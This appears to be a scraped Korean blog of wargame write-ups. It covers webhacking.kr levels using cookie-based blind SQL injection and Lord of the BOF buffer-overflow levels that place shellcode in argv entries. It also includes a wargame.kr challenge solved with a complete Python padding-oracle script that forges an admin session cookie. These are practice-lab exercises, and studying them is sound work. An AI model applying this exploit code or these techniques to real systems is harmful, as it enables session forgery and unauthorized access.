webhacking.kr 4번 문제다.
|
'Wargame > webhacking.kr' 카테고리의 다른 글
webhacking.kr 6번 (0) | 2018.01.09 |
---|---|
webhacking.kr 5번 (0) | 2018.01.09 |
webhacking.kr 3번 (0) | 2018.01.08 |
webhacking.kr 2번 (0) | 2018.01.08 |
webhacking.kr 1번 (0) | 2018.01.08 |
webhacking.kr 4번 문제다.
|
webhacking.kr 6번 (0) | 2018.01.09 |
---|---|
webhacking.kr 5번 (0) | 2018.01.09 |
webhacking.kr 3번 (0) | 2018.01.08 |
webhacking.kr 2번 (0) | 2018.01.08 |
webhacking.kr 1번 (0) | 2018.01.08 |
webhacking.kr 3번 문제다. 무슨 입력창이 나온다. 일단 대충써서 버튼을 눌러봤다.
플래그값에 넣어보니 클리어! 비슷한 문제를 많이접하다보니 이제는 점수에비해 쉽게 느껴졌던 문제였 |
webhacking.kr 5번 (0) | 2018.01.09 |
---|---|
webhacking.kr 4번 (0) | 2018.01.08 |
webhacking.kr 2번 (0) | 2018.01.08 |
webhacking.kr 1번 (0) | 2018.01.08 |
webhacking.kr 가입문제 (0) | 2018.01.04 |
wehacking.kr 2번 문제다. 그동안 프로젝트 한다고 문제만 풀고 포스팅을 못했다.
흠... admin으로 로그인 하라는 것 같다. 첨에 비밀번호가 입력되어 있어 들어가보니 다음과 같은 화면 흠... 아무리 살펴봐도 뭐가안보인다.... 이때 거의 멘붕... 도움받아 해결해 볼까하다 진정하고 페이지 하 뭔가 있을 거 같아 유심히 보다보니 패킷쪽에 쿠키 값으로 time이란 값을 넘기고 있다. 혹시나해서 값을 주석처리 되었던 값이 2070-01-01 09:00:01 이라는 값으로 바뀌었다. 아직까진 뭔가 얻을게 없다. 이번엔 거짓 값으로 바꿔 넘겨봤다. 오... Lucky... 주석 값이 다르다. 2070-01-01 09:00:00 라는 값이 나온다. 이를 활용하면 blind sql injection이 가능할 것 같다. 패스워드가 나왔다. 처음에 admin 페이지가서 쳐보니 아무것도 안나온다. 그래서 위에서 admin 메뉴 다운받을 수 있는 파일이 있다.
그대로 입력해주니 압축이 풀리고 메뉴얼 페이지 파일이 보인다. 들어가보자. 와우.. 패스워드가 나왔다. 이걸 admin페이지에서 입력해 봤는데 아무 변동이 없다. 뭐지 싶다가 답 제 |
webhacking.kr 5번 (0) | 2018.01.09 |
---|---|
webhacking.kr 4번 (0) | 2018.01.08 |
webhacking.kr 3번 (0) | 2018.01.08 |
webhacking.kr 1번 (0) | 2018.01.08 |
webhacking.kr 가입문제 (0) | 2018.01.04 |
webhacking.kr 5번 (0) | 2018.01.09 |
---|---|
webhacking.kr 4번 (0) | 2018.01.08 |
webhacking.kr 3번 (0) | 2018.01.08 |
webhacking.kr 2번 (0) | 2018.01.08 |
webhacking.kr 가입문제 (0) | 2018.01.04 |
코드를 보면 다음과 같이 이전단계에서 argv[2]를 사용할 수 없고 argv[1] 또한 메모리 초기화로 인해 이용할 수 없는 상황이었다.
그렇다면 사용할 수 있는 부분은 argv[0] 값인 실행파일명이었다.
실제로 해당 부분을 사용할 수 있는지 확인해보기 위해 gdb로 main의 leave 지점에 브포건 후 esp 영역부터 쭉 확인해보면 다음과 같이 실제 실행파일명이 스택내에 존재하고 있는 것을 알 수 있었다.
그렇다면 실행파일명에 쉘코드를 박아 실행시키면 스택내에 위와같이 쉘코드가 올라갈 것이고 RET를 해당주소로 덮으면 익스가 가능할 거라고 생각했고 파일명에 NOP와 쉘코드를 박아서 만들었더니 에러가 떴다. 쉘코드에 0x2f가 포함되면서 해당 값이 디렉터리 구분자로 인식되면서 에러가 났던거였다. 0x2f가 포함안된 쉘코드로 다시 실행파일을 만들었다.
이제 해당 실행파일명이 저장되는 메모리 주소를 구해야되는데 기존의 구한 파일명과 길이가 달라 메모리값 차이가 존재해 코어파일을 통해 주소를 구했다.
이제 필요한건 다 구했으니 그대로 익스해주면 된다.
쉘까지 뜨는건 확인했으니 이제 쉘코드로된 실행파일이 실행될 때 실제 setuid가 걸린 troll 바이너리가 실행되도록 심볼릭 링크 걸어주고 다시 익스하면 된다.
LOB vampire -> skeleton (0) | 2018.01.09 |
---|---|
LOB troll -> vampire (0) | 2018.01.09 |
LOB darkelf -> orge (0) | 2018.01.08 |
LOB wolfman -> darkelf (0) | 2018.01.08 |
LOB orc -> wolfman (0) | 2018.01.08 |
코드를 보면 이전단계에서 argv[0] 즉 실행파일명의 길이를 체크하는 로직이 추가됬다. 실행파일명 길이만 77글자로 맞춰준 다음 이전과 같이 argv[2] 영역에 쉘코드 올려놓고 익스하면 된다.
잘나온당.
LOB troll -> vampire (0) | 2018.01.09 |
---|---|
LOB orge -> troll (0) | 2018.01.08 |
LOB wolfman -> darkelf (0) | 2018.01.08 |
LOB orc -> wolfman (0) | 2018.01.08 |
LOB goblin -> orc (0) | 2018.01.08 |
코드를 보면 argv[1]에 길이제한을 걸어놨다. 근데 이전단계에서도 이미 argv[1]은 48자까지만 값이 들어가고 argv[2]에 쉘코드를 올렸었기 때문에 별 문제가 안된다. 그냥 이전단계와 똑같이 진행해주면 된다.
잘 나온당.
LOB orge -> troll (0) | 2018.01.08 |
---|---|
LOB darkelf -> orge (0) | 2018.01.08 |
LOB orc -> wolfman (0) | 2018.01.08 |
LOB goblin -> orc (0) | 2018.01.08 |
LOB cobolt -> goblin (0) | 2018.01.08 |
코드를 보면 이전단계에서 버퍼가 초기화되는 코드가 추가됬다. 이전단계에서 이미 버퍼에다 쉘코드 안올리고 argv[2] 영역에 올려서 익스했기 때문에 그대로 해주면 된다.
잘나온당.
LOB darkelf -> orge (0) | 2018.01.08 |
---|---|
LOB wolfman -> darkelf (0) | 2018.01.08 |
LOB goblin -> orc (0) | 2018.01.08 |
LOB cobolt -> goblin (0) | 2018.01.08 |
LOB gremlin -> cobolt (0) | 2018.01.08 |
코드를 보면 다음과 같이 환경변수를 모두 초기화 한다. 그렇다면 쉘코드를 넣을 수 있는 곳이 buf인데 버퍼값이 작아 NOP를 많이 넣을 수 없고 스택주소가 약간의 오차를 가지고 변하고있어 성공확률이 작았다. 그래서 다른곳에 넣을 곳을 찾아야했는데 소스를 잘 보면 인자값이 argc != 2 가 아니고 argc < 2 였다. 즉 인자값이 1개가아닌 2개이상이 되어도 된다는 거다. 그렇다면 argv[2]영역에 NOP를 미친듯이 박아놓고 쉘코드 올린담에 익스하면 된다.
잘나온당.
LOB wolfman -> darkelf (0) | 2018.01.08 |
---|---|
LOB orc -> wolfman (0) | 2018.01.08 |
LOB cobolt -> goblin (0) | 2018.01.08 |
LOB gremlin -> cobolt (0) | 2018.01.08 |
LOB gate -> gremlin (0) | 2018.01.08 |
들어가보면 로그인 창하나가 나오고 로그인해보면 다음과 같이 세션을 할당받은 후 다시 메인페이지로 요청을 하는데 이 때 세션값을 통해 guest로 로그인된 것을 확인을 하는 것을 볼 수 있고 admin으로 로그인을 하면 된다.
id password 입력할때 injection일 터질거라고 생각하고 시도해봤지만 통하지 않았고 세션값을 어떻게 조작해야될거란걸 알 수 있었다.
세션값을 보면 base64로 인코딩된 값 2개가 붙어있는걸 볼 수 있고 임의의값으로 변경을해보면 패딩이 실패했다는 메시지가 뜬다.
딱봐도 Oracle Padding attack이다.
로직을 판단해보면 로그인 후 할당받은 base64인코딩된 세션값은 IV와 IV와 평문text를 통해 암호화된 값이라고 판단할 수 있고 Oracle Padding Attack을 통해 IntermedirayValue 값을 알아낸 후 원본 평문 텍스트를 구하여 이를 서버가 admin으로 판단할 수 있는 값으로 변경한 다음 IV를 다시 재세팅해서 보내주면 될 것 같았다.
코드를 짜서 돌려보니 다음과 같이 나왔다.
코드
import requests
def exploit(payload):
url = "http://wargame.kr:8080/dun_worry_about_the_vase/main.php"
headers = {"Cookie":"L0g1n="+payload}
result = requests.get(url,headers=headers).text
print result
if "padding error" not in result:
return True
else:
return False
iv = ["\x00","\x00","\x00","\x00","\x00","\x00","\x00","\x00"]
wonbon_iv = "tmp8cbAU4IA=".decode("base64").encode("hex")
enc = "aFAD3Z6xbrU="
iv_xor_env = ""
for j in range(1,9):
for i in range(0,257):
iv[8-j] = chr(i)
brute_iv = ("".join(iv)).encode("base64").replace("\n","")
if exploit(brute_iv+enc)==True:
iv_xor_env += chr(j^i)
print iv_xor_env[::-1].encode("hex")
for k in range(0,j):
iv[7-k] = chr(ord(iv_xor_env[k])^(j+1))
print "".join(iv).encode("hex")
break
iv_xor_env = iv_xor_env[::-1].encode("hex")
dec_text = ""
exploit_iv = ""
for i in range(0,len(wonbon_iv),2):
dec_text += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + wonbon_iv[i:i + 2], 16))
print dec_text
replace_text = dec_text.replace("guest","admin").encode("hex")
for i in range(0,len(iv_xor_env),2):
exploit_iv += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + replace_text[i:i + 2], 16))
replace_text = exploit_iv.encode("base64").replace("\n","")
print replace_text
exploit(replace_text+enc)
Oracle Padding Attack 개념익힌 후 연습겸 풀어봤는데 내가봐도 코드가 더럽다. ㅋ 코딩좀 많이많이 해봐야겠다.
wargame.kr zairo (0) | 2018.05.09 |
---|---|
wargame.kr Crypto Crackme Basic (0) | 2018.05.09 |
wargame.kr mini TBR (0) | 2018.01.08 |
wargame.kr adm1nkyj (0) | 2018.01.08 |
wargame.kr jff3_magic (0) | 2018.01.08 |